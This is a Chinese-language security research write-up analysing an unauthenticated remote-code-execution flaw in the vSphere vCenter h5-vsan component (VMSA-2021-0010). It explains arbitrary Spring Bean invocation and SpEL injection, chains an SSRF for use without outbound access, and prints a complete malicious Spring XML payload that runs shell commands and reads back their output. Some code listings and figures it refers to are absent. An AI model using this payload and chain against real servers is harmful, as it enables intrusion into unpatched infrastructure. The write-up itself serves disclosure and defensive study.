作者:Ricter Z
vSphere vCenter Server 的 vsphere-ui 基于 OSGi 框架,包含上百个 bundle。前几日爆出的任意文件写入漏洞即为 vrops 相关的 bundle 出现的问题。在针对其他 bundle 审计的过程中,发现 h5-vsan 相关的 bundle 提供了一些 API 端点,并且未经过授权即可访问。通过进一步的利用,发现其中某个端点存在安全问题,可以执行任意 Spring Bean 的方法,从而导致命令执行。
漏洞时间线:
- 2021/04/13 – 发现漏洞并实现 RCE;
- 2021/04/16 – 提交漏洞至 VMware 官方并获得回复;
- 2021/05/26 – VMware 发布漏洞 Advisory(VMSA-2021-0010);
- 2021/06/02 – Exploit 公开(from 随风’s blog);
- 2021/06/05 – 本文公开。
0x01. 漏洞分析
存在漏洞的 API 端点如下:
首先在请求路径中获取 Bean 名称或者类名和方法名称,接着从 POST 数据中获取 methodInput 列表作为方法参数,接着进入 invokeService 方法:
invokeServer 先获取了 Bean 实例,接着获取该实例的方法列表,比对方法名和方法参数长度后,将用户传入的参数进行了一个简单的反序列化后利用进行了调用。Bean 非常多(根据版本不同数量有微量变化),如图所示:
其中不乏存在危险方法、可以利用的 Bean,需要跟进其方法实现进行排查。本文中的 PoC 所使用的 Bean 是 vmodlContext,对应的类是 com.vmware.vim.vmomi.core.types.impl.VmodContextImpl,其中的 loadVmodlPackage 方法代码如下:
注意到 loadVmodlPackage 会调用 SpringContextLoader 进行加载,vmodPackage 可控。
最终会调用到 ClassPathXmlApplicationContext 的构造方法。ClassPathXmlApplicationContext可以指定一个 XML 文件路径,Spring 会解析 XML 的内容,造成 SpEL 注入,从而实现执行任意代码。
需要注意的是,在 SpringContextLoader 的 getContextFileNameForPackage 会将路径中的 .替换为 /,所以无法指定一个正常的 IPv4 地址,但是可以利用数字型 IP 绕过:
XML 文件内容及攻击效果如下:
0x02. 不出网利用(6.7 / 7.0)
若要利用此漏洞本质上需要获取一个 XML 文件的内容,而 Java 的 URL 并不支持 data 协议,那么需要返回内容可控的 SSRF 或者文件上传漏洞。这里利用的是返回内容可控的 SSRF 漏洞。漏洞位于 vSAN Health 组件中的 VsanHttpProvider.py:
这里存在一个 SSRF 漏洞,使用的是 Python 的 urlopen 函数进行请求,接着将返回内容在内存中进行解压,并且匹配文件名为 .*offline_bundle.* 的内容并进行返回。Python 的 urlopen 支持 data 协议,所以可以构造一个压缩包并 Base64 编码,构造 data 协议的 URL:
在利用的过程中,将 IP 地址替换为 localhost 即可防止 . 被替换。由于这个端点在 6.5 版本的 vSAN Health 不存在,所以无法在 6.5 版本上不出网利用。
现在虽然不用进行外网请求,但是仍然无法获取命令回显。通过查看 Bean 列表,发现存在名为 systemProperties 的 Bean。同时这个 Bean 也存在方法可以获取属性内容:
所以在执行 SpEL 时,可以将命令暂存到 systemProperties 中,然后利用 getProperty方法获取回显。最终的 context.xml 内容为:
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder"> <constructor-arg> <list> <value>/bin/bash</value> <value>-c</value> <value><![CDATA[ ls -la / 2>&1 ]]></value> </list> </constructor-arg> </bean> <bean id="is" class="java.io.InputStreamReader"> <constructor-arg> <value>#{pb.start().getInputStream()}</value> </constructor-arg> </bean> <bean id="br" class="java.io.BufferedReader"> <constructor-arg> <value>#{is}</value> </constructor-arg> </bean> <bean id="collectors" class="java.util.stream.Collectors"></bean> <bean id="system" class="java.lang.System"> <property name="whatever" value="#{ system.setProperty("output", br.lines().collect(collectors.joining("\n"))) }"/> </bean> </beans>
最终利用需要两个 HTTP 请求进行。第一个请求利用 h5-vsan 组件的 SSRF 去请求本地的 vSAN Health 组件,触发第二个 SSRF 漏洞从而返回内容可控的 XML 文件内容,XML 文件会执行命令并存入 System Properties 中,第二个请求调用 systemProperties Bean 的 getProperty 方法获取输出。最终攻击效果如下: